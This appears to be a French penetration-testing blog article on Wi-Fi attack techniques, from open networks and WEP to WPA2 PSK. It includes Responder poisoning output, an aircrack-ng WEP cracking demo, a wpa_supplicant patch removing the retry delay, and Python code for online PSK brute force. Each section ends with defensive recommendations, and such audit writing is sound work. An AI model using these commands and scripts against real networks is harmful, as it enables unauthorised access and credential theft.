Wireless-(in)Fidelity: Pentest Wi-Fi en 2025

Introduction

Dans notre métier de pentesteurs, nous rencontrons fréquemment des réseaux Wi-Fi, que ce soit lors d'audits internes ou lors de missions Red Team. La commodité pour une entreprise est indéniable, avec la multiplication des appareils mobiles et des postes de travail, le Wi-Fi est au minimum pratique, sinon presque une nécessité. Il est bien plus simple de laisser son ordinateur portable se connecter à un réseau Wi-Fi plutôt que de brancher un câble RJ45 à chaque changement de salle de réunion.

Cependant, cette commodité exige une confiance dans la sécurité d'une surface d'attaque relativement large. Le même signal sans fil qui facilite la connexion des appareils, permet également à un attaquant de tenter de pénétrer votre réseau. Lors d'un Red Team, un réseau Wi-Fi vulnérable peut devenir le point d'entrée idéal, donnant accès au réseau interne sans jamais mettre les pieds dans le bâtiment. Cela met en évidence la nécessité d'une sécurité sans fil robuste.

La sécurité Wi-Fi est parfois considérée comme acquise, étant donné que les protocoles actuellement utilisés existent depuis près de deux décennies. Le WEP a été remplacé par le WPA en 2003 et le WPA2 en 2004. Aujourd'hui, bien que le WPA3 devienne plus courant, son adoption semble timide comparée au déploiement rapide du WPA2 dans les années 2000. Bien que les 20 années d'existence du WPA2 soient, d'une certaine manière, un témoignage de sa robustesse, certaines attaques restent possibles. Les outils et méthodes pour ces attaques sont matures, bénéficiant de 20 ans de documentation publique. Nous trouvons même encore occasionnellement l'ancien protocole WEP dans son habitat naturel (souvent industriel).

Des réseaux Ouverts aux standards les plus récents, cet article vise à expliquer des techniques d'exploitation réalistes qui sont toujours efficaces dans le bon contexte. La plupart des méthodes que nous présenterons sont loin d'être nouvelles, mais comprendre ces attaques courantes peut permettre de mieux évaluer les risques associés à chaque cas d'usage et prendre les mesures appropriées pour prévenir une intrusion. L'idée est de présenter un état de l'art concernant les principaux risques associés aux réseaux Wi-Fi.

1. Wi-Fi Ouvert (Open)

Le Wi-Fi ouvert est le type de réseau non sécurisé le plus connu. Il est de notoriété publique qu'il faut être prudent sur les réseaux Wi-Fi publics dans les cafés, les aéroports et les hôtels. Cependant, pourquoi devrions-nous être prudents avec ces réseaux, et quels sont les principaux risques ?

a. Écoute passive (Eavesdropping)

Le risque le plus fondamental d'un réseau ouvert traditionnel est que les trames sans fil elles-mêmes ne soient pas chiffrées. Toute personne à portée du signal sans fil et disposant du bon logiciel peut capturer tout le trafic passant par les ondes radio.

# iw wlan0 set type monitor
# ip link set wlan0 up
# iw wlan0 set channel 6

# tcpdump -i wlan0 -w capture.pcap
tcpdump: listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes
[...]

Cependant, ce risque a été considérablement réduit au fil des années. Aujourd'hui, la grande majorité du trafic internet est protégée par TLS. Cela signifie que même si un attaquant capture votre trafic internet, il pourrait voir où va votre trafic (quels sites vous consultez), mais la couche applicative étant chiffrée, il ne pourra pas lire ou modifier ce que vous faites.

Pour contrer cette écoute passive au niveau de la couche Wi-Fi elle-même, une norme appelée Opportunistic Wireless Encryption (OWE) a été introduite. Elle fonctionne comme un échange de clés individuel et spontané pour chaque utilisateur se connectant à un réseau Ouvert. Votre appareil et le point d'accès créent automatiquement une clé de chiffrement unique sans que vous ayez besoin d'entrer un mot de passe. Celle-ci est utilisée pour chiffrer efficacement la connexion entre vous et le routeur, vous protégeant ainsi de l'écoute passive simple. Le protocole OWE étant basé sur la norme WPA3, il implémente également le Protected Management Frames (802.11w)^[1], ce qui empêche les attaquants de vous déconnecter facilement du réseau.

En effet, une attaque courante, connue sous le nom de Désauthentification, est basée sur la falsification de trames de désauthentification, qui sont des trames de gestion^[2]. Dans les standards WPA et WPA2, les trames de gestion sont visibles sur les ondes avec une capture passive comme celle ci-dessus. Dans ce cas, un attaquant peut donc falsifier son adresse MAC (pour usurper celle de l'AP) et envoyer de fausses trames de désauthentification à une cible donnée. La cible pensera que le Point d'Accès (AP) souhaite qu'elle se déconnecte et coupera donc la connexion. Généralement, après avoir perdu une connexion Wi-Fi, la plupart des clients (ordinateurs portables ou smartphones) essaiera de trouver un autre AP valide, et peut-être le même AP s'il est toujours disponible.

Les attaques de désauthentification sont encore très courantes et peuvent être facilement exploitées pour forcer les clients à se déconnecter de leur AP légitime. Comme nous le verrons plus tard, cela peut être utilisé par un attaquant pour obtenir un handshake d'authentification sur les réseaux WPA2 PSK, ou simplement pour causer un Déni de Service (DoS). Cependant, la norme 802.11w a été conçue pour chiffrer les trames de gestion spécifiquement pour contrer ce type d'attaque. Lors de l'utilisation de WPA3 (sans mode de transition), le 802.11w est toujours appliqué. Ainsi, il en va de même pour OWE qui améliore véritablement la sécurité des AP Wi-Fi ouverts.

b. Porte ouverte

Néanmoins, même avec le chiffrement fourni par OWE, n'importe qui peut toujours se connecter au réseau. Cela signifie qu'un attaquant peut rejoindre le même réseau local que les employés, les clients ou vous. Une couche de sécurité supplémentaire dans de tels environnements est l'Isolation Client.

L'isolation client est une fonctionnalité sur les points d'accès qui permet à chaque appareil de communiquer avec la passerelle internet (l'AP lui-même) mais les empêche de communiquer entre eux. Sans cela, un attaquant pourrait directement scanner, sonder et attaquer les appareils des autres utilisateurs sur le même réseau, ou simplement effectuer des attaques par ARP spoofing afin de se positionner en tant qu’homme du milieu (MitM) sur le réseau local.

Bien que l'isolation client soit considérée comme une sécurité de base pour les réseaux invités modernes, il ne faut jamais la prendre pour acquise. En tant que pentesteurs, vérifier l'application effective de cette isolation est une étape obligatoire d'un audit.

c. Homme du Milieu (Man-in-the-Middle)

Enfin, même avec les durcissements précédents, une menace sur les réseaux ouverts reste les attaques de type Homme du Milieu. Celles-ci sont souvent réalisées en utilisant ce qu'on appelle un Evil-Twin. Puisqu'un réseau ouvert n'a pas de mot de passe, un attaquant peut facilement créer un faux réseau Wi-Fi avec exactement le même SSID (Service Set IDentifier) (le nom du réseau), mais avec un signal plus fort. Les appareils des utilisateurs, programmés pour se connecter automatiquement aux réseaux connus, peuvent se connecter à l'AP malveillant de l'attaquant au lieu du légitime. Même lorsque le 802.11w est activé, cette attaque reste techniquement réalisable, bien qu'elle devienne plus difficile à mettre en place.

Une fois la victime connectée au réseau Evil-Twin, l'attaquant contrôle toute sa connexion vers internet. Même avec TLS, il peut intercepter la demande de connexion initiale et présenter à votre navigateur son propre faux certificat de sécurité. Si la victime clique accidentellement ou sans réfléchir sur "accepter" lors de l'avertissement de sécurité, la communication est compromise. L'attaquant peut désormais déchiffrer, lire et même modifier tout le trafic intercepté.

d. Retex (Retour d'expérience)

Lors d'une récente mission de pentest, nous avons rencontré un environnement d'entreprise qui utilisait un réseau Wi-Fi Ouvert pour ses employés. Le modèle de sécurité reposait sur le fait que chaque employé se connectait immédiatement à un VPN d'entreprise robuste utilisant une authentification par certificat client. À première vue, on pourrait supposer que c'est sécurisé. Nous ne pouvions pas nous connecter à leur VPN sans certificat client, nous n'étions donc pas en mesure d'accéder à leur réseau interne. Cependant, le problème ne concernait pas l'accès VPN mais plutôt le réseau local lui-même.

En effet, sur le Wi-Fi Ouvert local, les appareils Windows envoyaient toujours des messages en broadcast utilisant des protocoles obsolètes connus tels que LLMNR et mDNS pour trouver d'autres appareils sur le réseau. Par conséquent, en se connectant simplement à ce réseau Ouvert et en utilisant Responder.py^[3], nous pouvions envoyer des réponses à ces messages de diffusion. Le nombre de personnes connectées au même Wi-Fi Ouvert a rendu cette attaque très efficace. Les requêtes de diffusion auxquelles Responder répondait déclenchaient des authentifications de comptes machine ou utilisateur vers la machine contrôlée par l'attaquant.

$ Responder.py -I wlan0
[...]
[*] [MDNS] Poisoned answer sent to 172.*.*.* for name WORKSTATION.local
[*] [MDNS] Poisoned answer sent to fe80::****:****:****:1df7 for name WORKSTATION.local
[*] [LLMNR]  Poisoned answer sent to fe80::****:****:****:1df7 for name WORKSTATION
[*] [LLMNR]  Poisoned answer sent to 172.*.*.* for name WORKSTATION
[*] [MDNS] Poisoned answer sent to 172.*.*.* for name WORKSTATION.local
[*] [MDNS] Poisoned answer sent to fe80::****:****:****:1df7 for name WORKSTATION.local
[*] [LLMNR]  Poisoned answer sent to fe80::****:****:****:1df7 for name WORKSTATION
[*] [LLMNR]  Poisoned answer sent to 172.*.*.* for name WORKSTATION
[*] [NBT-NS] Poisoned answer sent to 172.*.*.* for name WORKSTATION (service: Domain Controller)
[*] [NBT-NS] Poisoned answer sent to 172.*.*.* for name WORKSTATION (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 172.*.*.* for name SERVER (service: Workstation/Redirector)

En quelques minutes, nous avions collecté des centaines d'empreintes (hashs) d'identifiants de comptes utilisateurs d'employés se connectant au Wi-Fi. Bien qu'il ne s'agisse pas de mots de passe en clair, plusieurs hashs ont pu être cassés hors ligne. Cela nous a fourni des identifiants d'entreprise valides. Malgré l'incapacité de se connecter au VPN depuis le Wi-Fi sans avoir accès à un certificat valide, nous avons obtenu l'accès à plusieurs comptes Office 365, ce qui pourrait très bien entraîner une compromission ultérieure avec un peu d'ingénierie sociale ou en parcourant les SharePoints, Outlooks et toute autre information sensible disponible via cet accès.

e. Recommandation

Comme mentionné ci-dessus, OWE est un excellent ajout au protocole de réseau Wi-Fi Ouvert. Le fait qu'il soit basé sur WPA3 pour négocier les clés de session permet le chiffrement à la fois des trames de gestion (évitant les attaques de désauthentification) et des trames de données régulières (évitant l'écoute passive).

Cependant, même avec OWE, le Wi-Fi reste accessible à quiconque, même sans mot de passe. Par conséquent, aucun actif sensible ne doit être exposé dans ces réseaux. De plus, même si dans ce cas l'attaque de l'Homme du Milieu devient plus délicate à réaliser, elle reste néanmoins possible en raison du manque d'authentification au niveau du Wi-Fi. La conséquence est que les clients peuvent être dupés, qu'il s'agisse d'espaces publics ou du Wi-Fi invité des locaux d'une entreprise. Des scénarios de phishing avancés pourraient exploiter cette situation avec succès.

Par ailleurs, l'exemple donné ci-dessus montre à quel point l'isolation client et le filtrage global du réseau sont essentiels pour les réseaux Wi-Fi Ouverts.

2. WEP

WEP, ou Wired Equivalent Privacy^[4], était la norme de chiffrement originale pour le Wi-Fi, ratifiée en 1999. Son objectif, comme son nom l'indique, était de fournir aux réseaux sans fil un niveau de confidentialité comparable à celui d'un réseau filaire traditionnel. Pour l'époque, c'était une première étape nécessaire, mais l'analyse cryptographique a rapidement révélé des défauts de conception fondamentaux, conduisant à sa dépréciation officielle par la Wi-Fi Alliance en 2004.

a. Pourquoi WEP est-il cassé ?

La faiblesse du WEP ne réside pas dans une seule erreur, mais dans une combinaison de problèmes liés à son implémentation du chiffrement de flux RC4.

WEP utilise une approche de Chiffrement de Flux (Stream Cipher) :

• Le Secret : Une clé pré-partagée connue par l'AP et les clients voulant se connecter.
• L'IV (Vecteur d'Initialisation) : Parce qu'utiliser la même clé pour chaque paquet dans un chiffrement de flux est catastrophique (cela permet à un attaquant de déchiffrer le trafic en utilisant de simples opérations XOR), WEP ajoute un nombre aléatoire de 24 bits appelé IV au paquet.
• La Seed : L'IV est transmis en clair. L'algorithme WEP concatène l'IV et la Clé Secrète pour créer une seed.
  • Seed = IV + Key
• Le Keystream : Cette Seed est injectée dans l'algorithme RC4, qui génère un long flux d'octets pseudo-aléatoires appelé le Keystream.
• Chiffrement : Les données subissent un XOR avec le Keystream.
  • Texte chiffré = Texte clair ⊕ Keystream

Premièrement, le Vecteur d'Initialisation n'est que de 24 bits (2²⁴ = 16 777 216 possibilités). Dans un réseau chargé, un routeur envoie des centaines de paquets par seconde. Par conséquent, le même IV se répète relativement vite. Si deux paquets utilisent le même IV et le même mot de passe, ils utilisent le même Keystream. Si le Paquet A et le Paquet B sont chiffrés avec le même Keystream, un attaquant peut effectuer un XOR des deux textes chiffrés pour éliminer le keystream. À partir de là, l'analyse statistique permet de récupérer les deux textes clairs originaux.

L'algorithme RC4 possède un Algorithme d'Ordonnancement de Clé (KSA) qui configure l'état initial. Des chercheurs (Fluhrer, Mantin et Shamir, donnant le nom d'attaque FMS) ont découvert que les premiers octets du keystream RC4 sont fortement corrélés à la valeur de la clé elle-même. En effet, le WEP construit la seed en mettant simplement l'IV à côté de la Clé (Seed = IV + Key), et parce que l'IV est envoyé en clair :

• Un attaquant capture un paquet.
• Il voit l'IV (en clair).
• Il voit le premier octet du paquet chiffré (qui est presque toujours un en-tête standard connu).
• En connaissant l'IV et le premier octet de sortie, il peut deviner mathématiquement une partie de la Clé.
• Avec assez de paquets, il peut voter sur les caractères les plus probables de votre mot de passe jusqu'à le récupérer complètement.

Plus tard, des attaques comme PTW (Pyshkin, Tews, Weinmann) ont optimisé cela pour utiliser les paquets ARP, permettant de casser la clé avec beaucoup moins de paquets (des dizaines de milliers au lieu de millions).

Enfin, WEP utilise CRC32 pour assurer l'intégrité des données. Cependant, cette vérification d'intégrité est linéaire. Elle ne repose pas sur un secret comme les fonctions de vérification d'intégrité cryptographique telles que HMAC. Ainsi, un attaquant peut inverser des bits dans le texte chiffré et mettre à jour la valeur de somme de contrôle CRC32 sans connaître le Secret. WEP ne garantit donc pas l'intégrité, et les paquets peuvent être modifiés en transit. Cela permet la falsification des paquets, l'injection ARP, les attaques par rejeu et la manipulation de trafic. Compte tenu de cela, et de l'implémentation de l'attaque PTW dans des outils tels que aircrack-ng^[5], le processus de cassage du WEP devient déterministe et ne nécessite aucune force brute. C'est simplement une question de temps pour collecter suffisament de données pour résoudre le puzzle cryptographique.

b. Démonstration

Le bon côté de l'attaque WEP est qu'il existe des milliers de tutoriels en ligne expliquant comment faire. Nous allons faire une courte démonstration en utilisant la suite aircrack-ng. D'abord, nous mettons en place une capture avec airodump-ng qui va capturer les IV et les mettre dans un fichier pour une utilisation ultérieure :

$ ip link set wlan1 down
$ iw wlan1 set type monitor
$ ip link set wlan1 up
$ airodump-ng --bssid 02:00:00:00:04:00 --channel 3 --write wep_capture wlan1
[ CH  3 ][ Elapsed: 12 s ][ 2025-08-14 12:57 ]

BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

02:00:00:00:04:00  -28   0      151       32    1   3   54   WEP  WEP         GodricsHollow                                                                                                 

BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

02:00:00:00:04:00  02:00:00:00:05:00  -29   54 -54      0       32    

Ensuite, le fichier de capture peut être fourni à aircrack-ng qui effectuera l'attaque PTW jusqu'à ce qu'il soit capable de récupérer la clé entière :

$ aircrack-ng wep_capture-01.cap
                    Aircrack-ng 1.7 


        [00:00:03] Tested 177409 keys (got 146 IVs)
                    Got 246 out of 5000 IVs 
        [...]
        Failed. Next try with 5000 IVs.

Enfin, nous pouvons effectuer des attaques avec aireplay-ng qui feront générer plus d'IV à l'AP. En conditions réelles, bien sûr, nous éviterions les attaques de désauthentification, surtout dans les environnements industriels, pour éviter de perturber le réseau. Cependant, le rejeu ARP peut généralement toujours être effectué :

$ aireplay-ng --arpreplay -b 02:00:00:00:04:00 -h 02:00:00:00:05:00 wlan1
The interface MAC (C6:B3:2D:FA:4A:18) doesn't match the specified MAC (-h)
    ifconfig wlan1 hw ether 02:00:00:00:05:00
13:04:18  Waiting for beacon frame (BSSID: 02:00:00:00:04:00) on channel 3
Saving ARP requests in replay_arp-0814-130418.cap
You should also start airodump-ng to capture replies.
read 479483 packets (got 158770 ARP requests and 0 ACKs), sent 157231 packets...(499 pps)

Une autre solution est simplement d'attendre. Dans tous les cas, après un certain temps, on obtient un joli message d'aircrack-ng :

$ aircrack-ng wep_capture-01.cap
      Got 48994 out of 35000 IVs
      Starting PTW attack with 48994 ivs.
      [...]
      KEY FOUND! [ 50:65:76:65:72:65:6C:6C:49:67:6E:6F:74 ] (ASCII: PeverellIgnot )
        Decrypted correctly: 100%

c. Retex

Bien qu'il soit obsolète depuis deux décennies, le WEP n'a pas encore complètement disparu. Nous le rencontrons encore, principalement dans des environnements industriels ou simplement lorsqu'il y a un très vieux routeur oublié à proximité. Les systèmes anciens, tels que les équipements de production obsolètes ou les imprimantes spécialisées, ne prennent parfois pas en charge des protocoles de sécurité plus modernes.

Lors d'un récent test d'intrusion dans une installation industrielle, nous avons identifié un réseau protégé par WEP. Dans un environnement aussi sensible, les attaques actives telles que forcer la désauthentification des appareils pour générer plus de trafic étaient strictement interdites en raison du risque de perturbation des opérations. Cependant, de telles mesures étaient inutiles. Nous avons effectué une capture passive du trafic réseau et avons simplement attendu. En une journée, le trafic opérationnel normal de l'installation avait généré assez de paquets, et donc assez d'IVs uniques, pour que nous puissions récupérer la clé. Les pentesteurs pouvaient se concentrer sur d'autres objectifs pendant que la collecte de capture de trafic s'exécutait en arrière-plan.

d. Recommandation

Il n'y a aucun scénario où l'utilisation du WEP est acceptable. Sa sécurité est fondamentalement cassée et n'offre aucune protection significative contre un attaquant déterminé. La seule remédiation valide est de remplacer tout appareil nécessitant le WEP. Si les mises à jour sont impossibles en raison de contraintes de production, le WEP doit être traité comme un réseau Ouvert.

3. WPA2 PSK

WPA2 PSK (Wi-Fi Protected Access avec une Clé Pré-Partagée)^[6] est le protocole de sécurité le plus répandu pour les réseaux domestiques, les petites entreprises et les réseaux invités. Au lieu d'identifiants individuels, tous les utilisateurs partagent une seule clé secrète (la PSK) pour accéder au réseau. La cryptographie sous-jacente du WPA2 et des normes WPA3 plus récentes est beaucoup plus robuste. Nous verrons que le principal problème avec le WPA2 PSK est la capacité pour l'attaquant d'obtenir un hash de la PSK. Il existe de nombreuses méthodes pour cela, par conséquent la sécurité du réseau dépend presque entièrement de la complexité de la PSK.

a. Comment ça marche ?

Premièrement, Wi-Fi Protected Access (WPA) a été conçu comme une mise à jour temporaire du firmware pour corriger le WEP sur le matériel existant sans avoir à acheter de nouveaux routeurs. Puisque le matériel était prévu pour le chiffrement RC4, WPA utilisait toujours RC4, mais il l'enveloppait dans un nouveau protocole appelé TKIP (Temporal Key Integrity Protocol) pour résoudre les défauts d'implémentation spécifiques du WEP. Peu après, WPA2 fut la solution plus définitive pour le long terme. Il a complètement abandonné le chiffrement de flux RC4, ce qui nécessitait de nouvelles puces matérielles. WPA2 implémente AES en utilisant un mode appelé CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol). WPA est tout aussi obsolète que WEP et est donc très rarement vu.

Ce qui est intéressant dans la sécurité du WPA2 PSK, c'est le processus d'échange de clés : le 4-Way Handshake qui se produit chaque fois qu'un appareil se connecte au point d'accès. La PSK n'est pas utilisée directement pour chiffrer le trafic. Au lieu de cela, elle sert d'entrée principale pour un processus de dérivation de clé.

La PSK est combinée avec le nom du réseau (SSID) et traitée par une Fonction de Dérivation de Clé (PBKDF2). Cette fonction passe l'entrée à travers 4096 itérations de HMAC-SHA1 pour produire une Pairwise Master Key (PMK) de 256 bits. Cette étape intensive en calcul est ce qui rend les attaques par force brute hors ligne lentes.

Pendant le 4-Way Handshake, le point d'accès et le client échangent une série de messages (Trames EAPOL) contenant des nombres aléatoires (Nonces). Les deux parties utilisent la PMK qu'ils ont dérivée, ainsi que les Nonces et leurs adresses MAC, pour générer indépendamment un nouvel ensemble de clés temporaires. La plus importante d'entre elles est la Pairwise Transient Key (PTK), qui est utilisée pour chiffrer toutes les données ultérieures pour cette session. Pendant ce processus, étant donné que chaque partie dérive les éléments de clé basés sur leur connaissance de la PSK, les messages M2 et M3 servent également à se prouver mutuellement que l'autre partie connait bien la PSK.

Le MIC (Message Integrity Code) est utilisé, une fois que la PTK a été dérivée, pour authentifier les messages EAPOL M2 et M3. Il consiste en un HMAC-SHA1 du corps de données de la trame EAPOL utilisant une partie de la PTK comme clé. Ultimement, ce MIC est donc dérivé de la PSK et utilise uniquement des éléments connus. En résumant les étapes, nous avons :

• PMK = PBKDF2(PSK, SSID, 4096, 256) -> PMK obtenue à partir de la PSK et du SSID connu
• PTK = PRF(PMK, ANonce, SNonce, MAC_STA, MAC_AP) -> PTK obtenue à partir de la PMK et des ANonce, SNonce connus (car dans l'échange) et des adresses MAC du Client et du Point d'Accès (aussi connues).
• MIC = HMAC-SHA1(EAPOL_data, PTK) -> MIC résultat du HMAC des données (connues car dans les trames EAPOL) et de la PTK

b. Attaques

Presque toutes les attaques contre les réseaux WPA2 PSK se concentrent sur un objectif : capturer les données nécessaires pour effectuer une attaque par force brute ou par dictionnaire hors ligne contre la PSK. Pour cela, comme expliqué ci-dessus, même la capture d'un demi-handshake (M1, M2) peut suffire. Une capture complète du handshake est meilleure, car elle fournit M2 et M3 qui contiennent la validation respective du Client et de l'AP qu'ils possèdent la bonne PSK. Si nous avons M3, nous pouvons confirmer que l'AP valide la PSK utilisée par le client.

Pour capturer ces handshakes, un attaquant a plusieurs options :

• Capture Passive : Un attaquant peut simplement écouter passivement les différents canaux Wi-Fi et attendre qu'un appareil légitime se connecte ou se reconnecte au réseau, capturant ainsi le handshake lorsqu'il se produit naturellement.
• Désauthentification : Pour accélérer les choses, un attaquant peut envoyer des trames de désauthentification falsifiées à un client connecté. Cela force le client à se déconnecter et à tenter immédiatement de se reconnecter, déclenchant un nouveau handshake que l'attaquant peut capturer.
• Jumeau Maléfique (Evil Twin) : En configurant un faux AP avec le même SSID, un attaquant peut tromper les clients pour qu'ils tentent de se connecter. Le deuxième message du handshake (M2) envoyé par le client contient suffisamment de données comme expliqué ci-dessus.

Cependant, nous pouvons noter que toutes ces méthodes reposent sur la présence et les actions de clients légitimes. Néanmoins, il existe des méthodes d'attaque qui ne nécessitent même pas la présence de clients pour obtenir une version hachée de la PSK. Pour supporter l'itinérance rapide (IEEE 802.11r), certains points d'accès pré-calculent et mettent en cache un Pairwise Master Key Identifier (PMKID). Ce PMKID est également dérivé des éléments connus de la PMK^[8]. Un attaquant peut simplement tenter de se connecter à l'AP, et ce dernier enverra alors le PMKID dans sa réponse. Cette seule donnée est donc suffisante pour monter une attaque par force brute hors ligne contre la PSK, en faisant une méthode plus rapide car elle ne nécessite pas de clients.

Enfin, si aucun client n'est présent et que l'AP n'est pas vulnérable aux attaques PMKID, le dernier recours d'un attaquant peut être d'essayer de s'authentifier avec une liste de mots de passe potentiels un par un. Cette attaque en ligne est lente et bruyante. Elle pourrait être facilement détectée, mais le Wi-Fi n'est généralement pas surveillé régulièrement. Il est peu probable que cela fonctionne si le mot de passe n'est pas évident mais, comme tentative désespérée, cela reste faisable. Puisque cette situation s'est produite lors d'une de nos missions Red Team, nous avons essayé d'optimiser un peu ce processus. C'est un script simple, mais nous avons quand même atteint plusieurs centaines de tentatives de mots de passe dans un temps raisonnable, ce qui pourrait couvrir une bonne partie des mots de passe triviaux que nous voudrions essayer dans ce scénario.

c. Brute Force de connexion PSK

L'idée initiale est de simplement lancer wpa_supplicant encore et encore avec une configuration différente pour tester les mots de passe un par un. Bien que ce soit déjà un bon début, ce n'est pas très efficace. Pour accélérer un peu le processus, nous avons choisi d'utiliser wpa_supplicant en mode daemon. Comme le dit la documentation : "wpa_supplicant is designed to be a 'daemon' program that runs in the background and acts as the backend component controlling the wireless connection."^[9].

Ensuite, pour éviter le timeout, puisque nous utilisons une seule instance de wpa_supplicant, nous devons supprimer le timeout du code source et recompiler wpa_supplicant pour notre cas d'usage :

• Patch du timeout sur les échecs de PSK

$ cat -n wpa_supplicant-2.11/wpa_supplicant/wpa_supplicant.c
[...]
  8845    
  8846        if (ssid->auth_failures > 50)
  8847            dur = 300;
  8848        else if (ssid->auth_failures > 10)
  8849            dur = 120;
  8850        else if (ssid->auth_failures > 5)
  8851            dur = 90;
  8852        else if (ssid->auth_failures > 3)
  8853            dur = 60;
  8854        else if (ssid->auth_failures > 2)
  8855            dur = 30;
  8856        else if (ssid->auth_failures > 1)
  8857            dur = 20;
  8858        else
  8859            dur = 10;
  8860        /* patch start */
  8861        dur = 0;
  8862    
  8863        /*if (ssid->auth_failures > 1 &&
  8864            wpa_key_mgmt_wpa_ieee8021x(ssid->key_mgmt))
  8865            dur += os_random() % (ssid->auth_failures * 10);
  8866        
  8867    
  8868        os_get_reltime(&now);
  8869        if (now.sec + dur <= ssid->disabled_until.sec)
  8870            return;
  8871    
  8872        ssid->disabled_until.sec = now.sec + dur;
  8873        */
  8874    
  8875        /* patch end */
  8876    
  8877        wpa_msg(wpa_s, MSG_INFO, WPA_EVENT_TEMP_DISABLED
  8878            "id=%d ssid=\"%s\" auth_failures=%u duration=%d reason=%s",
  8879            ssid->id, wpa_ssid_txt(ssid->ssid, ssid->ssid_len),
  8880            ssid->auth_failures, dur, reason);
  8881    
  8882        if (bssid)
  8883            os_memcpy(ssid->disabled_due_to, bssid, ETH_ALEN);
  8884    }
[...]

• Compilation

$ cd wpa_supplicant-2.11/wpa_supplicant
$ make && make install

Ensuite, nous lançons notre wpa_supplicant tout frais en mode daemon, afin que notre script puisse communiquer avec lui via le Socket Unix :

• Fichier de configuration :

$ cat wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1

• Lancer le daemon wpa_supplicant :

# wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf

• Ensuite notre script peut être utilisé :

$ python3 bf_psk_connection.py --help
usage: bf_psk_connection.py [-h] [--interface INTERFACE] --ssid SSID --pskfile PSKFILE [--ctrl_interface_dir CTRL_INTERFACE_DIR]

Connect to a WiFi network using wpa_supplicant and test multiple PSKs.

options:
  -h, --help            show this help message and exit
  --interface INTERFACE
                        Interface connected to wpa_supplicant
  --ssid SSID           SSID of the network to connect to
  --pskfile PSKFILE     File containing PSKs to test
  --ctrl_interface_dir CTRL_INTERFACE_DIR
                        Directory for wpa_supplicant control interface

Dans son état actuel, le script reste une simple preuve de concept, mais il fonctionne très bien. Il se connecte au socket, et écoute essentiellement les événements correspondant à la connexion ou à la déconnexion :

    def read_from_socket(self):
        data, _ = self.sock.recvfrom(4096)
        event = data.decode()
        logging.debug(f"Received event: {event}")
        if "CTRL-EVENT-CONNECTED" in event:
            logging.info("Connection successful with current PSK.")
            self._found_psk = True
            self.loop.stop()
        elif "CTRL-EVENT-DISCONNECTED" in event:
            logging.info("Failed to connect with current PSK. Trying next one...")
            self.loop.call_soon_threadsafe(self.loop.stop)

Ensuite, basé sur cela, il s'agit d'une simple boucle for sur toutes les PSK que nous voulons essayer :

    def test_psks(self, ssid):
        self.send_command("ATTACH")
        self.loop.add_reader(self.sock.fileno(), self.read_from_socket)

        with open(self.psk_file, 'r') as file:
            psks = file.read().splitlines()

        self.send_command("REMOVE_NETWORK all")
        self.send_command("ADD_NETWORK")
        self.send_command(f'SET_NETWORK 0 ssid "{ssid}"')
        self.send_command("ENABLE_NETWORK 0")
        self.send_command("SCAN")

        tic = time.perf_counter()
        for psk in psks:
            logging.info(f"Testing PSK: {psk}")
            self.send_command(f'SET_NETWORK 0 psk "{psk}"')
            self.send_command("REASSOCIATE")

            self.loop.run_forever()
            if self._found_psk:
                self._valid_psk = psk
                break

        toc = time.perf_counter()
        if self._found_psk:
            logging.info(f"PSK FOUND : {self._valid_psk}")
            logging.info(f"Bruteforce performed in {toc - tic:0.4f} seconds")
        else:
            logging.info(f"Bruteforce performed in {toc - tic:0.4f} seconds")

La partie la plus difficile pour faire ce script était de trouver les commandes nl80211 exactes à utiliser, dans le bon ordre, pour que les tentatives de connexion se lancent correctement, et de découvrir comment réinitialiser la PSK après chaque tentative. Comme montré dans le script ci-dessus, dans le bon ordre, voici ce qu'il faut faire :

• ADD_NETWORK
• SET_NETWORK 0 <ssid>
• ENABLE_NETWORK 0 
• SCAN
• SET_NETWORK 0 psk <psk>
• REASSOCIATE

Les deux dernières commandes sont répétées pour seulement changer la PSK et réessayer. Il faut noter que cette méthode permet d'utiliser la commande SCAN une seule fois. Sinon, wpa_supplicant fera ce SCAN d'abord par défaut pour détecter les réseaux à proximité avant d'essayer de se connecter à un AP. Utiliser une seule instance de wpa_supplicant évite ce surcoût de temps à chaque exécution de wpa_supplicant, par rapport à l'utilisation de plusieurs processus de wpa_supplicant.

Malheureusement, le handshake que nous avons décrit plus tôt est géré à plus bas niveau par le driver, ce qui signifie qu'utiliser une interface gérée comme nous le faisons ici ne permet pas la parallélisation à notre connaissance. La routine de connexion est effectuée une fois que la commande REASSOCIATE est lancée pour chaque nouvelle PSK que nous voulons essayer. Malgré le thread unique, nous avons atteint près de 100 tentatives en 5 minutes en utilisant cette méthode. Ce taux n'est pas exceptionnel, mais nous avons quand même été surpris d'observer que tous les routeurs sur lesquels nous avons testé cela ne semblaient pas bloquer nos tentatives de connexion même après autant d'essais échoués.

d. Retex

Nous rencontrons fréquemment des réseaux WPA2 PSK lors des missions. Casser la clé n'est pas toujours évident, car l'algorithme PBKDF2, utilisé pour dériver la PMK, en fait une tâche coûteuse en calcul. Le succès dépend fortement de la qualité du mot de passe, s'il n'est pas basé sur le contexte de l'entreprise (nom, lieu, etc.), il est souvent impossible de le casser dans le laps de temps d'un audit. Cependant, nous avons réussi quelques fois lors de missions réelles, c'est pourquoi cela vaut toujours la peine d'essayer.

e. Recommandations

La sécurité d'un réseau WPA2 PSK dépend presque entièrement de la qualité de son mot de passe.

Utilisez une phrase de passe forte et aléatoire : une phrase de passe longue et imprévisible rend une attaque par force brute hors ligne impossible par le calcul. Le coût de calcul de PBKDF2 assure que même un matériel puissant prendrait un temps trop long en pratique pour casser une clé vraiment aléatoire. Cependant, pour se prévenir des attaques ci-dessus, et même des attaques plus récentes (2017 donc pas si récentes) et techniques comme KRACK^[10], il est possible de passer au WPA3 SAE. Si le matériel le supporte, la mise à niveau vers WPA3 est fortement recommandée. WPA3 remplace le handshake PSK par SAE (Simultaneous Authentication of Equals)^[11], un protocole d'échange de clés moderne (Protocole Dragonfly) qui permet un échange de clé via Zero-Knowledge Proof. Avec SAE, un attaquant ne peut même pas capturer une version hachée du mot de passe.

